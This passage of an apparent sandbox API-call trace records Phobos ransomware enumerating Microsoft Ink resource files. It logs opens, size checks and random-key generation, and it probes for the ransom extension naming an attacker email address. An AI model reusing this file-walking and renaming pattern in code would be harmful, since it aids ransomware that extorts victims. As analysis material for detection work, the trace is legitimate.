shared\\ink\\ar-SA\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.185] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.185] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=10752) returned 1 [0133.185] CloseHandle (hObject=0x2b4) returned 1 [0133.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0133.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.185] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.185] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=9728) returned 1 [0133.185] CloseHandle (hObject=0x2b4) returned 1 [0133.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0133.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.186] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.186] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=10240) returned 1 [0133.186] CloseHandle (hObject=0x2b4) returned 1 [0133.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0133.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.187] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.187] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=10752) returned 1 [0133.187] CloseHandle (hObject=0x2b4) returned 1 [0133.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0133.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.187] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.187] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=10752) returned 1 [0133.187] CloseHandle (hObject=0x2b4) returned 1 [0133.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20 [0133.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.188] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.188] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.188] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=9728) returned 1 [0133.188] CloseHandle (hObject=0x2b4) returned 1 [0133.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui")) returned 0x20 [0133.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.188] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.188] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.188] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.188] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=8704) returned 1 [0133.188] CloseHandle (hObject=0x2b4) returned 1 [0133.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20 [0133.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.189] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.189] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.189] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.189] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=5120) returned 1 [0133.189] CloseHandle (hObject=0x2b4) returned 1 [0133.189] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20 [0133.189] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.189] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.189] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.189] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.189] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=3072) returned 1 [0133.189] CloseHandle (hObject=0x2b4) returned 1 [0133.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20 [0133.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.190] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.190] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.190] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.190] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=23040) returned 1 [0133.190] CloseHandle (hObject=0x2b4) returned 1 [0133.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0133.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.190] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.190] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.190] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.190] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=2560) returned 1 [0133.191] CloseHandle (hObject=0x2b4) returned 1 [0133.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20 [0133.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.193] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.194] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=9216) returned 1 [0133.194] CloseHandle (hObject=0x2b4) returned 1 [0133.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20 [0133.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.194] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.194] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=10752) returned 1 [0133.194] CloseHandle (hObject=0x2b4) returned 1 [0133.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui")) returned 0x20 [0133.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.194] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.195] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=3072) returned 1 [0133.195] CloseHandle (hObject=0x2b4) returned 1 [0133.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20 [0133.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.195] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.195] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=3072) returned 1 [0133.195] CloseHandle (hObject=0x2b4) returned 1 [0133.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20 [0133.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.196] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.196] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=44032) returned 1 [0133.196] CloseHandle (hObject=0x2b4) returned 1 [0133.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui")) returned 0x20 [0133.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff 